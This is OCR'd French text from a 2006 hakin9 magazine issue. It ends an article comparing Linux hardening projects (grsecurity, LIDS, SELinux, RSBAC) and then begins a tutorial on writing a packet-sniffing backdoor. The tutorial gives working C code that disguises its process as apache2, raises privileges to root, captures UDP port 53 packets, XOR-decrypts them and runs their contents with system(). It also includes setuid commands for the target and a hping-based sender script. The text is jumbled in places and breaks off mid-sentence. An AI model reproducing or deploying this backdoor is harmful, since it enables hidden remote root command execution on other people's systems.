superutilisateur ou à un processus fonctionnant avec ses droits. Même si l'attaque réussit, l'intrus n'accédera pas au système entier et aux données stockées. Il faut savoir que RBAC est une variante particulière de MAC et les deux modèles permettent d'obtenir les effets similaires.

indépendante. Aujourd'hui, il est considéré comme l'un des meilleurs mécanismes de protection des systèmes Linux.

compétition dans les répertoires temporaires et augmente les possibilités d'enregistrer des évènements ayant lieu dans le système.

Mécanismes de protection

Installation

Le projet intègre les possibilités d'Openwall et PaX en ce qui concerne la protection de la mémoire avec le contrôle de l'accès basé sur les rôles (cf. l'Encadré Contrôle d'accès dans les systèmes d'exploitation). Il introduit les limitations pour les utilisateurs ordinaires, la randomisation des mécanismes de gestion de processus et de réseaux. Il améliore la sécurité de la fonction chroot et protège contre les situations de

www.hakin9.org

Grsecurity est un correctif appliqué au noyau. Son installation ne diffère donc pas de celles décrites dans les chapitres consacrés à Openwall et PaX. Mais pour profiter de RBAC, il faut installer en plus l'outil servant à configurer le système – gradm. La gestion de la politique du contrôle d'accès est très simple. De plus, gradm apprend le comportement typique des utilisateurs, ce qui permet la création automatique des principales règles d'accès.

Revue des mécanismes augmentant la sécurité de Linux

ACL contre RBAC

Le modèle de contrôle obligatoire de l'accès (MAC) peut être réalisé à l'aide de deux mécanismes : la liste des droits d'accès (en anglais Access Control List, ACL) et les rôles (RBAC). Les listes des droits d'accès déterminent les droits de chaque utilisateur aux ressources concrètes. Du point de vue de l'administrateur, la configuration des ACL consiste à affecter à chaque utilisateur des droits d'accès appropriés. La gestion de rôles consiste à définir par l'administrateur des groupes d'utilisateurs suivant les tâches qu'ils réalisent. Ensuite, il détermine les droits pour chaque groupe et lui affecte les utilisateurs choisis. En pratique, une simple implémentation des rôles ne diffère pas des groupes d'utilisateurs dans les listes des droits d'accès. Mais les solutions RBAC plus avancées offrent plus de possibilités.

LIDS

LIDS (Linux Intrusion Detection System) est encore un correctif pour le noyau qui élargit les principaux mécanismes de contrôle des droits d'accès. Les auteurs du projet sont Xie Huagang et Philippe Biondi. Les premières versions de LIDS ont été créées pour les noyaux de la série 2.2, et actuellement, elles peuvent

programmes aux ressources (fichiers, répertoires, fonctions réseau, etc.). Vu que la configuration manuelle des règles est assez difficile, les auteurs du projet proposent dans la documentation quelques configurations types pour les services et les outils d'administration.

Installation

être appliquées aussi bien pour ceux de la série 2.4 que 2.6.

L'installation de LIDS est similaire à celle décrite ci-dessus. Il faut en plus compiler et installer les outils du paquet lidstools et préconfigurer les règles de l'accès.

Mécanismes de protection

SELinux

LIDS introduit le contrôle obligatoire des droits d'accès (MAC avec ACL). Les droits sont définis à l'aide du paquet lidstools, composé des outils lidsadm et lidsconf. La configuration consiste à définir les droits des

Exemples d'emploi Serveur

Les serveurs offrent le plus souvent un jeu de services concret, offrant, par exemple, accès au courrier électronique, aux sites Web, stockant les fichiers ou les bases de données. Il arrive souvent qu'un système joue plusieurs rôles à la fois. Seulement dans les grandes entreprises, les serveurs sont dédiés à un seul service. Souvent, le serveur est administré par plusieurs personnes – l'une d'elles s'occupe des services de messagerie, l'autre saisit les modifications sur les sites Web ou dans le bases de données. Dans cette situation, une bonne solution est d'intégrer le mécanisme de contrôle d'accès basé sur les rôles de façon à ce que chaque administrateur ait les droits d'accès pas supérieurs à ceux dont il a besoin pour effectuer sa tâche. L'administrateur du système ne doit pas, par exemple, modifier le contenu des pages Web. Vu que la prestation des services exige de donner accès à plusieurs utilisateurs (souvent en public, dans Internet), il est très important d'implémenter la protection contre les erreurs connues : la protection de la mémoire dans le noyau et dans le compilateur. Chaque application de service doit être enfermée dans un environnement chroot séparé. Pour cela, la meilleure solution sont les projets SSP et grsecurity ou RSBAC car elles offrent tous les moyens de sécurité exigés dans cette situation.

Station de travail

La station de travail peut être accessible à plus d'une personne. Mais elle n'offre pas de services aux utilisateurs externes et est gérée par un administrateur. C'est pourquoi, la station de travail peut être préservée par la protection de la mémoire dans le noyau du système (PaX ou grsecurity sans lancer le mécanisme du contrôle d'accès) et la limitation des droits de l'utilisateur à l'aide de LIDS.

Routeur ou pare-feu

Les systèmes spécialisés tels que routeurs et pare-feux et les systèmes IDS ou IPS sont administrés par une personne. Ils n'offrent pas aucun service, et fonctionnent souvent dans la deuxième couche TCP/IP, n'ont pas d'adresses IP, et ils ne sont accessibles qu'à partir de la console. Dans cette situation, une protection supplémentaire n'est pas nécessaire. Mais si une adresse IP a été affectée au système et il est administré à distance, il est recommandé d'utiliser PaX ou grsecurity. On peut aussi envisager d'ôter au root les droits inutiles à l'aide de LIDS.

www.hakin9.org

Le projet Security-Enhanced Linux (SELinux) a été conçu en 2000 par l'Agence de la Sécurité Nationale des États Unis en collaboration avec les sociétés spécialisées en sécurité informatique. Il est basé sur les techniques Flask, transférées dans Linux à partir du système Flux. SELinux a été un supplément au noyau, mais il a été intégré à Linux 2.5.

Mécanismes de protection

SELinux implémente le contrôle obligatoire de l'accès basé sur les rôles. Il est plus développé que grsecurity, mais aussi plus difficile à configurer. Le projet est bien documenté, mais n'offre pas des mécanismes de création automatique de la politique de sécurité. Heureusement, il existe des projets à part offrant ces fonctions (par exemple polgen). Les distributions utilisant SELinux possèdent les paquets avec les règles d'accès prédéfinies aux applications les plus populaires.

Installation

SELinux se compose du code dans le noyau du système, de la bibliothèque libselinux et des paquets checkpolicy et policycoreutils. Les noyaux de la série 2.6 contiennent SELinux – il suffit d'activer les options appropriées dans la configuration et de compiler le noyau. Pour pouvoir utiliser SELinux dans les noyaux de la série 2.4., l'utilisateur doit seul appliquer les correctifs. Dans le système

hakin9 Nº 2/2006

33

Focus

Tableau 2. La comparaison des projets Openwall et PaX Fonction

Openwall

PaX

Versions du noyau

2.0, 2.2, 2.4

2.2, 2.4, 2.6

Protection de la mémoire contre modifications

Protection de la pile du processus

Affectation aux segments de la mémoire des droits en écritures ou en exécution

Randomisation de la mémoire Randomisation des adresses des bibliothèques partagées

Randomisation de tous les segments de la mémoire du processus

Limitations des liens dans les répertoires temporaires

Oui

Non

Limitations des canaux nommés dans les répertoires temporaires

Oui

Non

Limitations de l'accès au répertoire /proc

Oui

Non

Tableau 3. La comparaison des projets grsecurity, LIDS, SELinux et RSBAC Fonction

grsecurity

LIDS

SELinux

RSBAC

Contrôle d'accès

Rôles

ACL

Rôles

Rôles

Protection de la mémoire

Oui, intégré à PaX

Non

Non

Oui, intégré à PaX

Protection du système

Protection du répertoire /proc, randomisation de la gestion du réseau et des processus, chroot renforcé, limitations des liens, protection contre les situation de compétition, journalisation avancée des évènements

Protection du système réalisée par la configuration des listes des droits d'accès

Protection du système réalisée par la configuration des règles du contrôle de l'accès

Protection du répertoire /proc, randomisation de la gestion du réseau et des processus, chroot renforcé, limitations des liens, protection contre les situation de compétition, journalisation avancée des évènements, gestion d'utilisateurs du côté noyau

Création automatique des règles de l'accès

Oui, intégrée

Non

Oui, programmes externes

Oui, intégrée

Tableau 4. Les distribution de Linux avec protection RedHat

Fedora

Hardened Gentoo

Adamantix EnGarde

Owl

Openwall

Oui

PaX

Oui

Oui

SSP

Oui

Oui

grsecurity

Oui

Oui

LIDS SELinux

Oui Oui

Oui

RSBAC protégé, il est nécessaire d'utiliser les versions modifiées de certains outils tels que ls, cp, ps ou login.

RSBAC

RSBAC (Rule Set Based Access Control) est un projet très évolué,

34

hakin9 Nº 2/2006

Oui Oui

Oui Oui

avec les mécanismes du contrôle d'accès très avancés. La version stable est disponible depuis janvier 2000. Ce n'est pas une solution uniforme, mais une architecture modulaire applicable aux différents types des protections.

www.hakin9.org

Oui Oui

Mécanismes de protection

RSBAC offre les fonctions suivantes : •

La gestion d'utilisateurs au niveau du noyau système. Les informations sur les comptes,

Revue des mécanismes augmentant la sécurité de Linux

À propos de l'auteur

Michał Piotrowski, maîtrise en informatique, a plusieurs d'années d'expérience dans l'administration des réseaux et des systèmes. Pendant plus de trois années, il travaillait comme inspecteur de sécurité dans une institution supportant l'autorité supérieure de certification dans l'infrastructure polonaise de PKI. Actuellement, il est spécialiste en sécurité téléinformatique dans l'une des plus grandes institutions financières en Pologne. Dans ses moments libres, il s'occupe avec de la programmation et de la cryptographie.

•

•

•

groupes, mots de passe et droits d'accès sont stockés dans le noyau et pas dans les fichiers passwd, shadow, group et gshadow. Pour pouvoir profiter de cette fonction, il est nécessaire de modifier certaines bibliothèques systèmes et le mécanisme PAM. Les limitations de la fonction setuid() – les programmes avec le bit SUID ou SGID positionné doivent être autorisés. Le contrôle d'accès obligatoire avec la possibilité d'utiliser les listes des droits d'accès ou les rôles. La protection de la mémoire des processus (l'intégration avec PaX), l'augmentation de la sécurité du mécanisme chroot, le limite de l'utilisation des ressources de l'ordinateur, la protection spéciale des fichiers, le contrôle d'accès aux interfaces réseau, la protection des informations dans le répertoire /proc et autres.

Installation

Pour profiter des possibilités offertes par RSBAC, il est nécessaire de

modifier le noyau du système et d'installer les programmes d'administration disponibles sur le site du projet. Il est également indispensable de modifier certains outils ou bibliothèques système.

Choix difficile

Le choix de la meilleure solution liée à la protection de la mémoire des processus dans le noyau du système ou du côté compilateur n'est pas difficile. Mais le choix du mécanisme élargissant le contrôle de l'accès au système peut être difficile. SELinux est installé dans les versions officielles des noyaux de la série 2.6, ce qui garantit une bonne intégration avec le système d'exploitation. Vu qu'il est développé par NSA, on peut espérer que les travaux ne seront pas interrompus. C'est un projet bien documenté, et installé et préconfiguré dans certaines distributions (RedHat, Fedora). Son désavantage est qu'il est nécessaire de configurer l'accès dès le début, par contre son application dans un système déjà fonctionnant n'est pas facile et exige un travail considérable.

Sur Internet • • • • • • • • • • • • •

http://www.openwall.com/linux/ – Openwall, http://pax.grsecurity.net/ – PaX, http://www.trl.ibm.com/projects/security/ssp/ – SSP, http://www.grsecurity.org/ – grsecurity, http://www.lids.org/ – LIDS, http://www.nsa.gov/selinux/ – SELinux, http://www.mitre.org/tech/selinux/ – Générateur de la politique pour SELinux, http://www.rsbac.org/ – RSBAC, http://www.gentoo.org/proj/en/hardened/ – Hardened Gentoo, http://www.trusteddebian.org/ – Adamantix, http://www.guardiandigital.com/products/software/community/ – EnGarde Linux, http://dc.qut.edu.au/adios/ – Adios Linux, http://www.openwall.com/Owl/ – Openwall GNU/*/Linux (Owl).

www.hakin9.org

Par contre grsecurity est un paquet simple à configurer. Il offre des outils créant automatiquement les règles de l'accès et les mécanismes additionnels de protection du système (pas seulement MAC/RBAC). Malheureusement, le système de contrôle de l'accès dans ce projet n'est pas bien documenté et offre des possibilités plus restreintes que SELinux et RSBAC. Pourtant, grsecurity semble le meilleur outil, si l'on tient à une installation et une configuration rapides et simples. Du point de vue de la fonctionnalité, LIDS est similaire à grsecurity, mais il ne possède pas de rôles et n'offre pas tant de mécanismes protégeant le système d'exploitation. Mais il est mieux documenté que grsecurity, et sur le site du projet, on peut trouver beaucoup d'ACL pour la plupart des applications populaires. C'est un bon choix, si nous voulons limiter les droits du superutilisateur, et en même temps, nous cherchons un outil simple à installer.

À chacun sa protection

Aucune des solutions présentées ne peut considérée comme meilleure ou pire des autres. Pour faire un bon choix, nous devons réfléchir, si le projet satisfait à nos conditions et si nous comprenons les mécanismes qu'il intègre. La sécurité de notre ordinateur dépend non seulement de l'efficacité des outils, mais, dans une grande mesure, de leur bonne configuration. Pour vous faciliter le choix, nous présentons les tableaux (cf. Tableau 2 et 3) contenant les informations de base sur les solutions proposées. L'Encadré Exemples d'emploi suggère les solutions à partir des fonctions type de l'ordinateur. Pour plusieurs utilisateur, le plus simple est de choisir la distribution offrant les solutions toutes prêtes. Ainsi, nous ne devons pas modifier, configurer et compiler le noyaux tous seuls, en choisissant lors de l'installation du système le paquet préconfiguré. Le Tableau 4 informe quels mécanismes sont disponibles dans les distributions de Linux les plus populaires. l

hakin9 Nº 2/2006

35

Pratique

Création de portes dérobées sophistiquées sous Linux – reniflage de paquets Brandon Edwards

Degré de difficulté

Alors que les développeurs s'efforcent de créer de nouvelles défenses contre les portes dérobées, les pirates se voient obligés de mettre au point de nouvelles techniques innovantes afin de garder le rythme effréné imposé par le secteur en pleine croissance de la sécurité informatique. L'une de ces techniques concerne les portes dérobées chargées de détecter des paquets.

L

e reniflage de paquets représente une nouvelle technique de porte dérobée, développée par la nécessité de contourner un pare-feu local (comme Netfilter, par exemple), sans intégrer de code ni retour de connexion. Ce genre de porte dérobée fonctionne en capturant des paquets (si possible dotés d'informations spécifiques) afin d'intercepter des commandes à exécuter. Le système n'a pas à accepter les paquets contenant les commandes de la porte dérobée en tant que connexion, mais celles-ci doivent être vues par l'interface réseau du système cible. Le reniflage de paquets présente de nombreux avantages au niveau des commandes (au lieu d'écouter des connexions ou de les amorcer). En capturant des paquets hors de l'interface réseau sans demander au système une interface de connexion, les paquets sont lus par les portes dérobées même si ces derniers sont filtrés localement (par Netfilter, par exemple). Dans la mesure où cette méthode ne doit jamais accepter de connexion via le système, elle ne s'affiche jamais avec netstat. Enfin, comme il ne faut capturer que les paquets dirigés vers le système (et non vers

36

hakin9 Nº 2/2006

d'autres systèmes du réseau), il est possible de faire fonctionner l'interface de réseau en mode non espion afin d'éviter tout affichage dans les journaux du système local.

Conception d'une porte dérobée

L'installation de portes dérobées chargées de renifler des paquets soulève certains autres problèmes intéressants, tels que l'identification des paquets à interpréter pour

Cet article explique... • •

Le mode de fonctionnement d'une porte dérobée de reniflage de paquets, Comment mettre cette technique en pratique.

Ce qu'il faut savoir... • • •

www.hakin9.org

Les principes fondamentaux de la gestion de réseaux TCP/IP, Les principes fondamentaux de la programmation en C, La gestion de réseau Linux au moyen de libpcap.

Création d'une porte dérobée pour le reniflage de paquets

Portes dérobées locales versus portes dérobées à distance Les portes dérobées locales sont exécutées en mode local sur le système cible (comme son nom l'indique), et exigent donc de l'éventuel pirate certaines formes d'accès prioritaire vers le système affecté avant exécution. La plupart des portes dérobées dites locales sont utilisées par les pirates bénéficiant d'un accès protégé pour accroître leurs privilèges. Malgré les nombreuses approches permettant d'utiliser et de masquer de manière indirecte les portes dérobées locales, la présence nécessaire du pirate sur le système local engendre un risque inhérent élevé d'être découvert. C'est la raison pour laquelle les portes dérobées dites à distance deviennent de plus en plus utilisées par rapport aux portes exigeant un accès en local. Les portes dérobées dites à distance sont accessibles par le réseau, autorisant tout usage à partir du système du pirate sans accès prioritaire (autre que la création de la porte dérobée elle-même, bien entendu). En règle générale, ce genre de portes dérobées était accessible à distance via les interfaces de connexion TCP placées en écoute sur un port important, grâce auquel l'utilisateur est susceptible de se connecter. Au moment d'établir une connexion, il peut arriver qu'un processus d'identification soit déclenché, bien que de nombreuses portes dérobées accordent un accès immédiat. Ce genre d'interface de connexion standard chargée d'écouter une porte dérobée est assez primitif, et très facilement détectable par des outils tels que netstat (sous réserve que netstat lui-même ne soit pas espionné par une porte dérobée). Ce type de portes dérobées peut également être facilement découvert au moyen d'un scan de ports à distance, permettant de ce fait une utilisation arbitraire du système par d'autres pirates.

Nouvelles tactiques des portes dérobées

Avec l'évolution spectaculaire en matière de sécurité informatique, les administrateurs ont appris à détecter et à contrer les portes dérobées élémentaires d'écoute de connexion. En activant certaines règles des pare-feux afin de bloquer le trafic sur les ports inutiles pour les services les plus courants, il est possible de réduire considérablement la connectivité des portes dérobées d'écoute, voir de les éliminer totalement. Afin de contourner cette défense, de nouvelles tactiques ont été mises au point. •

•

Intégrer le code d'une porte dérobée dans un démon existant, avec accès privilégié, chargé d'écouter une interface de connexion afin de contourner le(s) pare-feu(x). Un démon avec porte dérobée intégrée est susceptible d'écouter et de fournir un service classique jusqu'à réception d'une certaine forme de déclencheur de protocole. À ce moment précis, les privilèges seront levés (si nécessaire) et une protection installée sur l'interface de connexion. L'avantage majeur de ce genre de porte dérobée réside dans le fait que , en cas de détection par netstat ou par un scan de ports, elle est affichée sous forme de démon d'écoute standard. Cette méthode présente toutefois le risque d'avoir à remplacer un fichier binaire privilégié sur le système cible, dans la mesure où il est fort probable que des IDS hôtes ou un administrateur expérimenté le détecte. Même si ce binaire n'est pas détecté, il est également fort probable que le binaire porteur de la porte dérobée soit supprimé en cas de mise à jour du démon (par le nouveau binaire non-piraté). Se reconnecter sur une machine pirate, plutôt que d'écouter une connexion entrante afin de contourner le(s) pare-feu(x). On suppose, avec cette tactique, que si un pare-feu est activé, ses politiques autorisent le trafic sortant vers des ports arbitraires par défaut. Les pare-feux chargés de contrôler l'état des connections (pare-feu d'état) autorisent souvent le trafic entrant lié aux connexions établies, permettant à cette technique de fonctionner. Malheureusement, cette forme de porte dérobée s'affiche dans les données de sortie de netstat (et attire généralement les soupçons), car il s'agit toujours d'une connexion gérée par le système. Autre inconvénient majeur de cette méthode, le compteur et/ou le déclencheur doivent déterminer le moment et le lieu de retour d'une connexion.

www.hakin9.org

les commandes, et la façon de les authentifier. De même, envoyer des chaînes de commandes en texte simple dans les paquets est susceptible d'alerter la personne chargée de contrôler le trafic réseau de la présence d'une porte dérobée, auquel cas, il est recommandé d'avoir recours à certaines formes de codage (même s'il ne s'agit que d'une simple substitution de caractères). Bien que cette méthode ne soit pas sans danger, elle peut se révéler très difficile à remarquer à moins d'être exclusivement recherchée. Nous examinerons plus en détails, dans le présent article, la nature de ce genre de porte dérobée en exposant comment en écrire une.

Objectifs d'une porte dérobée

Avant d'écrire un programme, il est judicieux d'en identifier les objectifs. Une fois les objectifs identifiés, il est ensuite plus facile d'écrire un plan de ce programme sur lequel s'appuiera le code de base. Les objectifs (buts) à atteindre dans le cadre de notre exercice de création d'une porte dérobée chargée de renifler des paquets sont les suivants : •

•

•

•

Doit s'exécuter comme un programme setuid(), évidemment pour donner à son utilisateur un accès de type root, mais aussi parce que les privilèges root sont nécessaires à la capture de paquets. Les paquets capturés seront dirigés vers un port sélectionné et classique tel que UDP 53 (utilisé par DNS). Sera chargé d'interpréter et de déchiffrer chaque paquet au moyen d'un certain procédé d'authentification, idéalement le codage, et d'exécuter les contenus des paquets authentifiés en tant que commande. Devra posséder certaines fonctionnalités supplémentaires de rootkit afin d'éviter tout risque de détection par des outils tels que ps.

hakin9 Nº 2/2006

37

Pratique

Listing 1. Ebauche basique de code Main Program Function { mask process name raise privileges initialize variables & packet capture functions build packet filter for desired port, protocol, etc. enact packet filter

}

Loop infinitely { Call function to capture a packet Pass captured packet to Packet Handler Function }

Packet Handler Function { verify packet is intended for backdoor by checking for a pre-defined backdoor header key ->if key is not present then return Since backdoor has a header key, decrypt remaining packet data with some pre-defined password After Decryption, verify data decrypted into backdoor intended commands by checking for protocol header/footer ->if header/footer flags are not present then return

}

since packet had header key, and decrypted properly, containing adequate flags, execute the remaining data call system to execute decrypted_data then return

Ébauche de code

Maintenant que les objectifs de notre programme sont identifiés, nous devons désormais en illustrer la structure et la logique de ce programme. Plusieurs méthodes sont possibles, comme les diagrammes par exemple. Nous avons choisi un pseudo-code, pouvant être facilement lu et traduit en code réel ultérieurement. Vous trouverez dans le Listing 1 une ébauche de programme soulignant la façon d'atteindre les objectifs désirés pour notre porte dérobée. Ce résumé est écrit sous forme de commentaires descriptifs de code afin d'illustrer toute la logique du programme. Cette base sera utilisée comme référence tout au long du présent article afin d'écrire le code réel de notre porte dérobée. La disposition du programme telle qu'exposée dans le Listing 1 est divisée en deux parties : une

38

hakin9 Nº 2/2006

fonction principale, et une fonction de gestion de paquets appelée par la fonction principale. Dans main(), nous masquons le nom du processus afin de ne pas alerter quelqu'un qui lancerait un programme de type ps pour voir les processus opérationnels. Pour des raisons évidentes, un pirate ne souhaite pas qu'un administrateur détecte un processus intitulé backdoor, ou silentdoor, etc. Des privilèges sont ensuite levés, afin de pouvoir capturer des paquets et les fournir également à l'utilisateur de la porte dérobée. Puis, les paquets chargés de capturer les variables et les fonctions nécessaires à une session de capture de paquets sont initialisés. Enfin, une boucle infinie de capture de paquets est insérée afin de passer chaque paquet capturé dans la fonction de gestion. Cette fonction de gestion de paquet exige le plus de logique dans

www.hakin9.org

le programme, dans la mesure où celle-ci est chargée de déchiffrer les paquets destinés à la porte dérobée à partir de l'ensemble des paquets issus d'un même protocole et d'un même port. Le moyen le plus efficace consiste à insérer une certaine forme d'authentification, impliquant généralement un certain type de codage. Dans l'ébauche de programme, le paquet reçu est perçu comme une clé à en-tête de porte dérobée (certaines phrases clés chargées de suggérer que le paquet est destiné à la porte dérobée). En cas d'absence de cette clé à en-tête de porte dérobée, la fonction de gestion rent la main immédiatement, afin que le programme puisse être prêt à intercepter le paquet suivant. Si la clé à en-tête est bien présente, la fonction de gestion décrypte alors les données du paquet restant au moyen d'un mécanisme basique de décryptage. Une fois la manoeuvre exécutée, le contenu du paquet décrypté est scanné pour y trouver certaines chaînes ou drapeaux, afin d'être sûr que le décryptage a bien fonctionné. En cas d'absence de drapeaux décryptés, la fonction de gestion se contente de revenir. Ce processus se déclenche en tant que couche finale d'authentification : si le paquet possède bien une clé à en-tête, et si le contenu du paquet est correctement décrypté, on suppose donc sans grand risque que le paquet en question est bien destiné à la porte dérobée et contient une commande. À ce stade, le contenu du paquet restant décrypté est extrait et exécuté sous forme de commande système, complétant ainsi l'objectif de notre porte dérobée.

Rédaction du programme Rédiger un programme quelconque, chargé de renifler les paquets, est relativement aisé, notamment avec l'aide de la bibliothèque libpcap. Cette bibliothèque Libpcap propose un ensemble complet et facile à utiliser de fonctions chargées de capturer

Création d'une porte dérobée pour le reniflage de paquets

Listing 2. Masquer le nom de processus et lever les privilèges #include #include #include #include #include

<stdio.h> <string.h> <sys/types.h>

#define MASK "/usr/sbin/apache2 -k start -DSSL" int main(int argc, char *argv[]) {

Lever les privilèges

/* mask the process name */ strcpy(argv[0], MASK); /* change the UID/GID to 0 (raise privs) */ setuid(0); setgid(0); /* /* /* /*

setup packet capturing */ ... */ capture and pass packets to handler */ ... */

}

Listing 3. Capture de paquets pcap_t char char struct bpf_u_int32 bpf_u_int32

*sniff_session; errbuf[PCAP_ERRBUF_SIZE]; filter_string[]="udp dst port 53"; bpf_program filter; net; mask;

if (-1 == pcap_lookupnet(NULL, &net, &mask, errbuf)) { /* failed. die. */ exit(0); } if (!(sniff_session=pcap_open_live(NULL, 1024, 0, 0, errbuf))) { /* failed. die */ exit(0); } pcap_compile(sniff_session, &filter, filter_string, 0, net); pcap_setfilter(sniff_session, &filter); pcap_loop(sniff_session, 0, packet_handler, NULL);

et de gérer les paquets. Nous allons présenter dans le cadre du présent article quelques fonctions élémentaires de la bibliothèque libpcap que nous utiliserons pour créer une porte dérobée. Le but n'est toutefois pas de couvrir les possibilités de cette bibliothèque dans son intégralité. Vous pouvez consulter le site suivant pour plus d'informations sur les fonctions de la bibliothèque libpcap : http:// www.tcpdump.org.

Masquer le nom du processus

Cacher ou plus précisément masquer le nom du processus est

que pour le nom du processus du programme. Il s'agit d'une méthode simple et efficace permettant de modifier le nom de processus d'un programme (afin de tromper quelqu'un qui exécuterait ps). Dans ce cas, le nom est modifié pour ressembler au nom d'un processus d'exécution d'Apache.

le premier objectif évoqué dans l'ébauche de programme mentionnée plus haut. Ce sera également la première étape à réaliser au moment de rédiger le code. Nous avons exposé dans le Listing 2 le début d'une traduction en C du pseudo-code illustré dans le Listing 1. Dans la fonction main(), la première ligne de code est la suivante : strcpy(argv[0], MASK). L'appel vers cette fonction a pour but de copier la chaîne définie comme MASK dans argv[0]. Lorsque argv[0] est modifié, il en va de même pour le nom de base du programme ainsi

www.hakin9.org

Vous constaterez en observant le Listing 2 que les privilèges ont été modifiés en appelant setuid(0) ainsi que setgid(0), afin de paramétrer respectivement l'UID et le GID. Cette étape est l'objectif le plus important d'une porte dérobée. Chacune de ces fonctions prend un argument : l'identifiant souhaité. Dans la mesure où les valeurs utilisateur et identifiant de groupe sont 0 en mode root, ces fonctions permettent de doter le programme de privilèges root opérationnels. Les privilèges root fournissent non seulement un accès total à l'utilisateur, mais sont également nécessaires pour la capture des paquets. Bien sûr, afin que notre programme soit effectivement autorisé à émettre ses propres privilèges, le binaire compilé doit disposer de l'ensemble bit-suid sur le système cible. Paramétrer le bitsuid du binaire relatif à une porte dérobée ainsi que les permissions pertinentes revient à passer les commandes suivantes sur le système cible : # chown root backdoor_binary # chmod +s backdoor_binary

Capture des paquets

Il est désormais temps de commencer à rédiger les fonctions pcap appropriées afin de capturer des paquets. Le Listing 3 contient le code fondamental permettant de débuter une session de capture d'un paquet dans l'exemple d'une porte dérobée. La première étape du processus consiste à appeler la fonction pcap _ lookupnet(), chargée de reconnaître pcap via le réseau ainsi que le netmask à partir duquel elle sera

hakin9 Nº 2/2006

39

Pratique

Listing 4. Gestion des paquets et analyse syntaxique des commandes #define #define #define #define #define #define #define #define

ETHER_IP_UDP_LEN 44 MAX_SIZE 1024 BACKDOOR_HEADER_KEY "leet" BACKDOOR_HEADER_LEN 4 PASSWORD "password" PASSLEN 8 COMMAND_START "start[" COMMAND_END "]end"

void packet_handler(u_char *ptrnull, const struct pcap_pkthdr *pkt_info, const u_char *packet) { int len, loop; char *ptr, *ptr2; char decrypt[MAX_SIZE]; char command[MAX_SIZE]; /* Step 1: identify where the payload of the packet is */ ptr = (char *)(packet + ETHER_IP_UDP_LEN); if ((pkt_info->caplen - ETHER_IP_UDP_LEN - 14) <= 0) return; /* Step 2: check payload for backdoor header key */ if (0 != memcmp(ptr, BACKDOOR_HEADER_KEY, BACKDOOR_HEADER_LEN)) return; ptr += BACKDOOR_HEADER_LEN; len = (pkt_info->caplen - ETHER_IP_UDP_LEN - BACKDOOR_HEADER_LEN); memset(decrypt, 0x0, sizeof(decrypt)); /* Step 3: decrypt the packet by XOR'ing pass against contents for (loop = 0; loop < len; loop++) decrypt[loop] = ptr[loop] ^ PASSWORD[(loop % PASSLEN)];

*/

/* Step 4: verify decrypted contents */ if (!(ptr = strstr(decrypt, COMMAND_START))) return; ptr += strlen(COMMAND_START); if (!(ptr2 = strstr(ptr, COMMAND_END))) return; /* Step 5: extract what remains */ memset(command, 0x0, sizeof(command)); strncpy(command, ptr, (ptr2 - ptr));

}

/* Step 6: Execute command */ system(command); return;

reniflée. Cet appel assez particulier va chercher puis stocker le réseau et le netmask dans les variables net et mask de bpf _ u _ int32, fournies sous forme d'arguments. Le premier argument de cette fonction représente le dispositif souhaité à partir duquel les paquets doivent être capturés, mais, si ce dernier est réglé sur NULL, n'importe quel dispositif peut alors être utilisé, capturant ainsi des paquets à partir

40

hakin9 Nº 2/2006

de toutes les interfaces disponibles. Dans la mesure où les pirates ne sont pas censés connaître les dispositifs disponibles sur le système cible, il est plus judicieux de ne pas indiquer un dispositif en particulier lorsque vous créez une porte dérobée. En cas d'échec de l'appel de la fonction, la valeur -1 est retournée, et le programme appelle alors exit(). La fonction suivante appelée dans le Listing 3 est pcap _ open _

www.hakin9.org

live(),

chargée d'ouvrir et de retourner un pointeur vers un descripteur de capture de paquets. Un descripteur de capture est un type de données primaires, et peut éventuellement gérer l'ensemble des aspects lors d'une session de capture de paquets. À l'instar de la fonction précédente, le premier argument de cette fonction représente le dispositif du réseau à capturer, dont la valeur NULL implique tous les dispositifs disponibles. L'argument suivant permet de régler la quantité maximale d'octets à capturer à partir de chaque paquet, appelée snaplen, généralement fixée à 1024. Le troisième argument détermine s'il faut oui ou non placer le dispositif en mode espion (pour capturer ou pas les paquets qui n'étaient pas destinés pour ce système). Dans notre exemple, il est réglé en mode non-espion, mais cette option n'est pas très importante dans ce contexte dans la mesure où elle est ignorée si le premier argument est réglé sur NULL (soit n'importe quel dispositif). Il est en effet plus avantageux de ne pas placer le dispositif en mode espion dans le cadre de cette application. Il arrive bien souvent qu'en mode espion, une déclaration alertant le statut du dispositif soit enregistrée dans le journal du système (ce qui pourrait permettre alors de détecter la présence d'une porte dérobée). Le quatrième argument est un délai d'attente prédéfini en millisecondes, zéro signifiant l'absence de délai d'attente. Si pcap _ open _ live() échoue, la valeur NULL est retournée, et le programme appellera alors exit(), sinon un pointeur vers un descripteur de capture serait retourné. L'appel suivant est la fonction pcap _ compile(). Cette fonction crée, ou dans le jargon de pcap compile, un filtre de paquets afin de restreindre le type de paquets à capturer. Créer un filtre de paquet est la méthode la plus simple pour spécifier le protocole désiré ainsi que le port de paquets à capturer,

Création d'une porte dérobée pour le reniflage de paquets

Envoi des commandes à la porte dérobée

Maintenant que notre porte dérobée est fin prête, nous avons besoin d'un outil capable d'envoyer les commandes. Nous avons exposé dans le Listing 5 une implémentation très simple d'un tel script. Celui-ci exige la commande hping. En voici l'usage : $ ./silentkey.sh

Ce script nécessite une courte application C pour pouvoir appliquer l'opérateur booléen OU exclusif sur la chaîne (voir le Listing 6). Celle-ci doit être compilée puis placée dans le même répertoire que le script silentkey.sh : $ gcc -o xor_string xor_string.c

Ce script peut être utilisé à la fois avec la porte dérobée telle que décrite dans le présent article, et avec l'application SilentDoor. Le package SilentDoor contient une application plus sophistiquée pour l'envoi de commandes.

Listing 5. silentkey.sh, procédure d'interpréteur de commande chargée d'envoyer des commandes dans les paquets #!/bin/bash PASS=leet OPTS="-c 1 -2 -E /dev/stdin -d 100 -p 53 " COM_START="start[" COM_END="]end" if [ -z "$1" ] then echo "$0 " exit 0 fi if [ -z "$2" ] then echo "$0 " exit 0 fi echo "$COM_START$2$COM_END $PASS to hping $OPTS $1" ./xor_string "$COM_START$2$COM_END" $PASS | hping2 $OPTS $1

Listing 6. xor_string.c, utilisé par le script exposé dans le Listing 5 #include <stdio.h> int main(int argc, char *argv[]) { int i, x, y; if (!argv[1] || !argv[2]) { printf("%s <string> <pass>\n", argv[0]); return 0; } x = strlen(argv[1]); y = strlen(argv[2]); for (i = 0; i < x; ++i) argv[1][i] ^= argv[2][(i%y)]; printf("%s", argv[1]); return 0; }

et peut donc être utilisé pour remplir l'un des objectifs de la porte dérobée.

Le premier argument de pcap _ est le descripteur de capture, sniff _ session . L'argument compile()

www.hakin9.org

